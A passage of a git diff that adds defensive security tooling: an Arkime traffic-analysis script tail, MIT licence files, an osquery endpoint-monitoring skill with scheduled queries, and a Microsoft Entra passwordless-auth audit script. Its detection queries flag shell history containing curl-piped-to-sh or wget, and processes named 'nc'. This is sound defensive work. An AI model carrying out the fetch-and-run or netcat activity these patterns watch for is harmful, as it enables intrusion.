sessions") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Arkime Network Traffic Analysis Agent") + parser.add_argument("--arkime-url", required=True, help="Arkime viewer URL") + parser.add_argument("--user", required=True) + parser.add_argument("--password", required=True) + parser.add_argument("--expression", default="*", help="Arkime search expression") + parser.add_argument("--date-range", type=int, default=1, help="Date range in hours") + parser.add_argument("--output", default="arkime_report.json") + args = parser.parse_args() + + auth = (args.user, args.password) + sessions = search_sessions(args.arkime_url, auth, args.expression, args.date_range) + beacons = detect_beaconing(sessions) + dns_tunnel = detect_dns_tunneling(sessions) + large = detect_large_transfers(sessions) + tls = detect_tls_anomalies(sessions) + + report = generate_report(beacons, dns_tunnel, large, tls, len(sessions)) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-next-generation-firewall-with-palo-alto/LICENSE b/skills/implementing-next-generation-firewall-with-palo-alto/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-next-generation-firewall-with-palo-alto/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-opa-gatekeeper-for-policy-enforcement/LICENSE b/skills/implementing-opa-gatekeeper-for-policy-enforcement/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-opa-gatekeeper-for-policy-enforcement/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-osquery-for-endpoint-monitoring/LICENSE b/skills/implementing-osquery-for-endpoint-monitoring/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-osquery-for-endpoint-monitoring/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-osquery-for-endpoint-monitoring/SKILL.md b/skills/implementing-osquery-for-endpoint-monitoring/SKILL.md new file mode 100644 index 00000000..80ca8752 --- /dev/null +++ b/skills/implementing-osquery-for-endpoint-monitoring/SKILL.md @@ -0,0 +1,31 @@ +--- +name: implementing-osquery-for-endpoint-monitoring +description: >- + Deploy osquery scheduled queries for continuous endpoint monitoring covering process inventory, + network connections, file integrity, and persistence mechanisms. Generates osquery.conf with + query packs, configures differential result logging, and analyzes query results to detect + suspicious processes, unauthorized listeners, and file modifications in system directories. +--- + +## Instructions + +1. Install dependencies: `pip install requests` (osquery installed on endpoints) +2. Generate `osquery.conf` with scheduled query packs for: + - Process monitoring: new processes, unusual parent-child relationships + - Network listeners: unexpected listening ports and outbound connections + - File integrity: modifications in /etc, /usr/bin, system32 + - Persistence: cron jobs, startup items, scheduled tasks, services +3. Deploy configuration to endpoints. +4. Analyze differential results from osquery log output. +5. Generate security findings report. + +```bash +python scripts/agent.py --results-dir /var/log/osquery/results/ --output osquery_report.json +``` + +## Examples + +### Osquery Scheduled Query +```json +{"schedule": {"process_snapshot": {"query": "SELECT pid, name, path, cmdline, uid FROM processes WHERE on_disk = 0;", "interval": 300}}} +``` diff --git a/skills/implementing-osquery-for-endpoint-monitoring/references/api-reference.md b/skills/implementing-osquery-for-endpoint-monitoring/references/api-reference.md new file mode 100644 index 00000000..e34f4892 --- /dev/null +++ b/skills/implementing-osquery-for-endpoint-monitoring/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: Osquery Endpoint Monitoring + +## osquery.conf Structure +```json +{ + "options": { + "logger_plugin": "filesystem", + "logger_path": "/var/log/osquery", + "database_path": "/var/osquery/osquery.db", + "worker_threads": "2" + }, + "schedule": { + "query_name": { + "query": "SELECT * FROM processes;", + "interval": 300, + "description": "Description" + } + }, + "file_paths": { + "category": ["/etc/%%", "/usr/bin/%%"] + } +} +``` + +## Key Osquery Tables +| Table | Description | +|-------|-------------| +| processes | Running processes (pid, name, path, cmdline, uid) | +| listening_ports | Open listening ports (pid, port, protocol) | +| process_open_sockets | Active network connections | +| crontab | Cron job entries | +| suid_bin | SUID/SGID binaries | +| file | File metadata (path, size, mtime, sha256) | +| kernel_modules | Loaded kernel modules | +| authorized_keys | SSH authorized keys | +| startup_items | Startup/login items | +| shell_history | Shell command history | + +## Result Log Format (JSON Lines) +```json +{"name":"query_name","action":"added","columns":{"pid":"1234","name":"suspicious"},"unixTime":"1705312200"} +``` +- `action`: "added" (new row) or "removed" (row disappeared) +- `columns`: query result columns as key-value pairs + +## osquery CLI +```bash +osqueryi "SELECT * FROM processes WHERE name = 'nc';" +osqueryctl start # Start daemon +osqueryctl config-check # Validate config +``` diff --git a/skills/implementing-osquery-for-endpoint-monitoring/scripts/agent.py b/skills/implementing-osquery-for-endpoint-monitoring/scripts/agent.py new file mode 100644 index 00000000..6234273d --- /dev/null +++ b/skills/implementing-osquery-for-endpoint-monitoring/scripts/agent.py @@ -0,0 +1,217 @@ +#!/usr/bin/env python3 +"""Osquery Endpoint Monitoring Agent - Generates configs, deploys queries, and analyzes results.""" + +import json +import os +import logging +import argparse +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +SECURITY_QUERIES = { + "process_not_on_disk": { + "query": "SELECT pid, name, path, cmdline, uid FROM processes WHERE on_disk = 0;", + "interval": 300, + "description": "Detect processes running from deleted binaries", + }, + "listening_ports": { + "query": ( + "SELECT lp.pid, lp.port, lp.protocol, lp.address, p.name, p.path " + "FROM listening_ports lp JOIN processes p ON lp.pid = p.pid " + "WHERE lp.port NOT IN (22, 80, 443, 3306, 5432);" + ), + "interval": 600, + "description": "Monitor unexpected listening ports", + }, + "outbound_connections": { + "query": ( + "SELECT pid, remote_address, remote_port, local_port, p.name, p.path " + "FROM process_open_sockets pos JOIN processes p ON pos.pid = p.pid " + "WHERE remote_address NOT IN ('0.0.0.0', '127.0.0.1', '::1', '') " + "AND remote_address NOT LIKE '10.%' AND remote_address NOT LIKE '192.168.%';" + ), + "interval": 300, + "description": "Monitor external outbound connections", + }, + "cron_persistence": { + "query": "SELECT * FROM crontab WHERE command NOT LIKE '%logrotate%' AND command NOT LIKE '%anacron%';", + "interval": 3600, + "description": "Detect new cron job persistence", + }, + "suid_binaries": { + "query": "SELECT path, mode, uid, gid FROM suid_bin WHERE path NOT LIKE '/usr/%' AND path NOT LIKE '/bin/%';", + "interval": 3600, + "description": "Detect SUID binaries outside standard paths", + }, + "file_integrity_etc": { + "query": ( + "SELECT path, mtime, size, sha256 FROM file " + "WHERE path LIKE '/etc/%%' AND mtime > (SELECT CAST(strftime('%s', 'now', '-1 hour') AS INTEGER));" + ), + "interval": 600, + "description": "Monitor file changes in /etc", + }, + "kernel_modules": { + "query": "SELECT name, size, status, address FROM kernel_modules WHERE status = 'Live';", + "interval": 3600, + "description": "Monitor loaded kernel modules", + }, + "authorized_keys": { + "query": "SELECT uid, algorithm, key, key_file FROM authorized_keys;", + "interval": 3600, + "description": "Monitor SSH authorized keys", + }, + "startup_items": { + "query": "SELECT name, path, source, status, username FROM startup_items;", + "interval": 3600, + "description": "Monitor startup/login items", + }, + "shell_history": { + "query": "SELECT uid, command, history_file FROM shell_history WHERE command LIKE '%curl%pipe%sh%' OR command LIKE '%wget%';", + "interval": 1800, + "description": "Detect suspicious shell history entries", + }, +} + + +def generate_osquery_config(queries, log_dir="/var/log/osquery"): + """Generate osquery.conf with security monitoring queries.""" + config = { + "options": { + "logger_plugin": "filesystem", + "logger_path": log_dir, + "disable_logging": "false", + "schedule_splay_percent": "10", + "events_expiry": "3600", + "database_path": "/var/osquery/osquery.db", + "verbose": "false", + "worker_threads": "2", + "enable_monitor": "true", + }, + "schedule": {}, + "file_paths": { + "etc": ["/etc/%%"], + "binaries": ["/usr/bin/%%", "/usr/sbin/%%", "/bin/%%", "/sbin/%%"], + "tmp": ["/tmp/%%"], + }, + } + for name, query_def in queries.items(): + config["schedule"][name] = { + "query": query_def["query"], + "interval": query_def["interval"], + "description": query_def["description"], + } + logger.info("Generated osquery config with %d scheduled queries", len(queries)) + return config + + +def parse_osquery_results(results_dir): + """Parse osquery differential result logs from the results directory.""" + all_results = [] + for filename in sorted(os.listdir(results_dir)): + if not filename.endswith(".log"): + continue + filepath = os.path.join(results_dir, filename) + with open(filepath, "r") as f: + for line in f: + try: + entry = json.loads(line.strip()) + all_results.append(entry) + except json.JSONDecodeError: + continue + logger.info("Parsed %d result entries from %s", len(all_results), results_dir) + return all_results + + +def analyze_results(results): + """Analyze osquery results for security findings.""" + findings = [] + for entry in results: + name = entry.get("name", "") + action = entry.get("action", "") + columns = entry.get("columns", {}) + if name == "process_not_on_disk" and action == "added": + findings.append({ + "type": "Process without binary", + "severity": "critical", + "details": columns, + "query": name, + }) + elif name == "listening_ports" and action == "added": + port = int(columns.get("port", 0)) + if port > 1024: + findings.append({ + "type": "New listening port", + "severity": "high", + "details": columns, + "query": name, + }) + elif name == "cron_persistence" and action == "added": + findings.append({ + "type": "New cron job", + "severity": "high", + "details": columns, + "query": name, + }) + elif name == "suid_binaries" and action == "added": + findings.append({ + "type": "New SUID binary", + "severity": "critical", + "details": columns, + "query": name, + }) + elif name == "authorized_keys" and action == "added": + findings.append({ + "type": "New SSH authorized key", + "severity": "high", + "details": columns, + "query": name, + }) + logger.info("Analysis: %d security findings from %d results", len(findings), len(results)) + return findings + + +def generate_report(config, results, findings): + """Generate osquery monitoring report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "scheduled_queries": len(config.get("schedule", {})), + "total_results_parsed": len(results), + "security_findings": len(findings), + "critical_findings": len([f for f in findings if f["severity"] == "critical"]), + "findings": findings[:50], + } + print(f"OSQUERY REPORT: {len(findings)} findings ({report['critical_findings']} critical)") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Osquery Endpoint Monitoring Agent") + parser.add_argument("--generate-config", help="Output path for osquery.conf") + parser.add_argument("--results-dir", help="Osquery results log directory") + parser.add_argument("--output", default="osquery_report.json") + args = parser.parse_args() + + config = generate_osquery_config(SECURITY_QUERIES) + + if args.generate_config: + with open(args.generate_config, "w") as f: + json.dump(config, f, indent=2) + logger.info("Config saved to %s", args.generate_config) + + results = [] + findings = [] + if args.results_dir and os.path.isdir(args.results_dir): + results = parse_osquery_results(args.results_dir) + findings = analyze_results(results) + + report = generate_report(config, results, findings) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-ot-incident-response-playbook/LICENSE b/skills/implementing-ot-incident-response-playbook/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-ot-incident-response-playbook/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-ot-network-traffic-analysis-with-nozomi/LICENSE b/skills/implementing-ot-network-traffic-analysis-with-nozomi/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-ot-network-traffic-analysis-with-nozomi/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-pam-for-database-access/LICENSE b/skills/implementing-pam-for-database-access/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-pam-for-database-access/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-passwordless-auth-with-microsoft-entra/LICENSE b/skills/implementing-passwordless-auth-with-microsoft-entra/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-passwordless-auth-with-microsoft-entra/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md b/skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md new file mode 100644 index 00000000..83c0a1b3 --- /dev/null +++ b/skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Implementing Passwordless Auth with Microsoft Entra + +## Libraries + +### msal (Microsoft Authentication Library) +- **Install**: `pip install msal` +- **Docs**: https://msal-python.readthedocs.io/ +- `ConfidentialClientApplication()` -- App registration auth +- `acquire_token_for_client()` -- Client credentials flow + +### Microsoft Graph API +- **Base**: `https://graph.microsoft.com/v1.0` and `/beta` +- **Docs**: https://learn.microsoft.com/en-us/graph/api/overview + +## Authentication Methods Policy API + +| Endpoint | Description | +|----------|-------------| +| `GET /policies/authenticationMethodsPolicy` | Full auth methods config | +| `GET /users/{id}/authentication/methods` | User's registered methods | +| `GET /users/{id}/authentication/fido2Methods` | FIDO2 keys for user | +| `GET /users/{id}/authentication/microsoftAuthenticatorMethods` | Authenticator setup | +| `GET /users/{id}/authentication/windowsHelloForBusinessMethods` | WHfB status | + +## Conditional Access API + +| Endpoint | Description | +|----------|-------------| +| `GET /identity/conditionalAccess/policies` | List CA policies | +| `GET /identity/conditionalAccess/authenticationStrength/policies` | Auth strength policies | + +## Sign-In Logs API + +| Endpoint | Description | +|----------|-------------| +| `GET /auditLogs/signIns` | Sign-in activity logs | +| Filter: `authenticationDetails/any(a:a/authenticationMethod eq 'FIDO2 security key')` | + +## Authentication Method Types +- `fido2AuthenticationMethod` -- FIDO2 security keys +- `microsoftAuthenticatorAuthenticationMethod` -- Authenticator app +- `windowsHelloForBusinessAuthenticationMethod` -- Windows Hello +- `passwordAuthenticationMethod` -- Traditional password +- `phoneAuthenticationMethod` -- SMS/phone call (legacy) +- `emailAuthenticationMethod` -- Email OTP + +## Required Graph Permissions +- `UserAuthenticationMethod.Read.All` +- `Policy.Read.All` +- `AuditLog.Read.All` +- `User.Read.All` + +## External References +- Entra Passwordless: https://learn.microsoft.com/en-us/entra/identity/authentication/concept-authentication-passwordless +- FIDO2 Keys: https://learn.microsoft.com/en-us/entra/identity/authentication/howto-authentication-passwordless-security-key +- Graph Auth Methods: https://learn.microsoft.com/en-us/graph/api/resources/authenticationmethods-overview +- Conditional Access Auth Strength: https://learn.microsoft.com/en-us/entra/identity/authentication/concept-authentication-strengths diff --git a/skills/implementing-passwordless-auth-with-microsoft-entra/scripts/agent.py b/skills/implementing-passwordless-auth-with-microsoft-entra/scripts/agent.py new file mode 100644 index 00000000..4487b614 --- /dev/null +++ b/skills/implementing-passwordless-auth-with-microsoft-entra/scripts/agent.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +"""Microsoft Entra ID passwordless authentication audit agent using MS Graph API.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests + from msal import ConfidentialClientApplication +except ImportError: + print("Install: pip install msal requests") + sys.exit(1) + + +GRAPH_URL = "https://graph.microsoft.com/v1.0" +GRAPH_BETA = "https://graph.microsoft.com/beta" + + +def get_access_token(tenant_id, client_id, client_secret): + """Authenticate to Microsoft Graph using client credentials.""" + app = ConfidentialClientApplication( + client_id, authority=f"https://login.microsoftonline.com/{tenant_id}", + client_credential=client_secret) + result = app.acquire_token_for_client(scopes=["https://graph.microsoft.com/.default"]) + if "access_token" in result: + return result["access_token"] + print(f"[!] Auth failed: {result.get('error_description', 'Unknown error')}") + sys.exit(1) + + +def graph_get(token, endpoint, beta=False): + """Make authenticated GET request to Microsoft Graph.""" + base = GRAPH_BETA if beta else GRAPH_URL + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + resp = requests.get(f"{base}{endpoint}", headers=headers) + resp.raise_for_status() + return resp.json() + + +def get_auth_methods_policy(token): + """Get authentication methods policy to check passwordless configuration.""" + return graph_get(token, "/policies/authenticationMethodsPolicy", beta=True) + + +def get_fido2_policy(token): + """Get FIDO2 security key configuration.""" + policy = get_auth_methods_policy(token) + for method in policy.get("authenticationMethodConfigurations", []): + if method.get("id") == "fido2": + return { + "state": method.get("state"), + "is_attestation_enforced": method.get("isAttestationEnforced"), + "is_self_service_allowed": method.get("isSelfServiceRegistrationAllowed"), + "key_restrictions": method.get("keyRestrictions", {}), + } + return {"state": "not_configured"} + + +def get_microsoft_authenticator_policy(token): + """Get Microsoft Authenticator configuration.""" + policy = get_auth_methods_policy(token) + for method in policy.get("authenticationMethodConfigurations", []): + if method.get("id") == "microsoftAuthenticator": + return { + "state": method.get("state"), + "feature_settings": method.get("featureSettings", {}), + } + return {"state": "not_configured"} + + +def get_windows_hello_policy(token): + """Get Windows Hello for Business configuration.""" + policy = get_auth_methods_policy(token) + for method in policy.get("authenticationMethodConfigurations", []): + if method.get("id") == "windowsHelloForBusiness": + return {"state": method.get("state")} + return {"state": "not_configured"} + + +def list_user_auth_methods(token, user_id): + """List authentication methods registered by a specific user.""" + try: + methods = graph_get(token, f"/users/{user_id}/authentication/methods") + return [{"id": m.get("id"), "type": m.get("@odata.type", "").split(".")[-1]} + for m in methods.get("value", [])] + except Exception as e: + return [{"error": str(e)}] + + +def get_users_without_passwordless(token, max_users=100): + """Identify users who have not registered any passwordless method.""" + users = graph_get(token, f"/users?$top={max_users}&$select=id,displayName,userPrincipalName") + users_without = [] + for user in users.get("value", []): + methods = list_user_auth_methods(token, user["id"]) + passwordless_types = {"fido2AuthenticationMethod", "microsoftAuthenticatorAuthenticationMethod", + "windowsHelloForBusinessAuthenticationMethod"} + user_types = {m.get("type") for m in methods if not m.get("error")} + if not user_types.intersection(passwordless_types): + users_without.append({ + "user": user["userPrincipalName"], + "name": user.get("displayName", ""), + "methods": [m.get("type") for m in methods if not m.get("error")], + }) + return users_without + + +def get_sign_in_logs(token, days=7, passwordless_only=False): + """Get recent sign-in logs to analyze authentication methods used.""" + filter_str = "" + if passwordless_only: + filter_str = "?$filter=authenticationDetails/any(a:a/authenticationMethod eq 'FIDO2 security key')" + try: + logs = graph_get(token, f"/auditLogs/signIns{filter_str}", beta=True) + return [{"user": log.get("userPrincipalName"), + "app": log.get("appDisplayName"), + "status": log.get("status", {}).get("errorCode", 0), + "auth_detail": [d.get("authenticationMethod") for d in log.get("authenticationDetails", [])], + "time": log.get("createdDateTime")} + for log in logs.get("value", [])[:50]] + except Exception as e: + return [{"error": str(e)}] + + +def get_conditional_access_policies(token): + """List conditional access policies related to authentication strength.""" + try: + policies = graph_get(token, "/identity/conditionalAccess/policies", beta=True) + auth_strength_policies = [] + for p in policies.get("value", []): + grant = p.get("grantControls", {}) + if grant and "authenticationStrength" in json.dumps(grant): + auth_strength_policies.append({ + "name": p.get("displayName"), + "state": p.get("state"), + "grant_controls": grant, + }) + return auth_strength_policies + except Exception as e: + return [{"error": str(e)}] + + +def run_passwordless_audit(token): + """Run comprehensive passwordless authentication audit.""" + print(f"\n{'='*60}") + print(f" MICROSOFT ENTRA PASSWORDLESS AUTH AUDIT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + fido2 = get_fido2_policy(token) + print(f"--- FIDO2 SECURITY KEYS ---") + print(f" State: {fido2.get('state', 'unknown')}") + print(f" Attestation Enforced: {fido2.get('is_attestation_enforced', 'N/A')}") + print(f" Self-Service Registration: {fido2.get('is_self_service_allowed', 'N/A')}") + + authenticator = get_microsoft_authenticator_policy(token) + print(f"\n--- MICROSOFT AUTHENTICATOR ---") + print(f" State: {authenticator.get('state', 'unknown')}") + + hello = get_windows_hello_policy(token) + print(f"\n--- WINDOWS HELLO FOR BUSINESS ---") + print(f" State: {hello.get('state', 'unknown')}") + + ca_policies = get_conditional_access_policies(token) + print(f"\n--- CONDITIONAL ACCESS (Auth Strength) ({len(ca_policies)}) ---") + for p in ca_policies: + print(f" {p.get('name', 'N/A')}: {p.get('state', 'N/A')}") + + users_without = get_users_without_passwordless(token, max_users=50) + print(f"\n--- USERS WITHOUT PASSWORDLESS ({len(users_without)}) ---") + for u in users_without[:10]: + print(f" {u['user']} - Current methods: {', '.join(u['methods']) or 'none'}") + + print(f"\n{'='*60}\n") + return {"fido2": fido2, "authenticator": authenticator, "hello": hello, + "users_without_passwordless": len(users_without)} + + +def main(): + parser = argparse.ArgumentParser(description="Microsoft Entra Passwordless Auth Agent") + parser.add_argument("--tenant-id", required=True, help="Azure AD tenant ID") + parser.add_argument("--client-id", required=True, help="App registration client ID") + parser.add_argument("--client-secret", required=True, help="App registration secret") + parser.add_argument("--audit", action="store_true", help="Run passwordless audit") + parser.add_argument("--user-methods", help="List auth methods for specific user") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + token = get_access_token(args.tenant_id, args.client_id, args.client_secret) + + if args.audit: + report = run_passwordless_audit(token) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + elif args.user_methods: + methods = list_user_auth_methods(token, args.user_methods) + print(json.dumps(methods, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-passwordless-authentication-with-fido2/LICENSE b/skills/implementing-passwordless-authentication-with-fido2/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-passwordless-authentication-with-fido2/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-patch-management-for-ot-systems/LICENSE b/skills/implementing-patch-management-for-ot-systems/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-patch-management-for-ot-systems/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 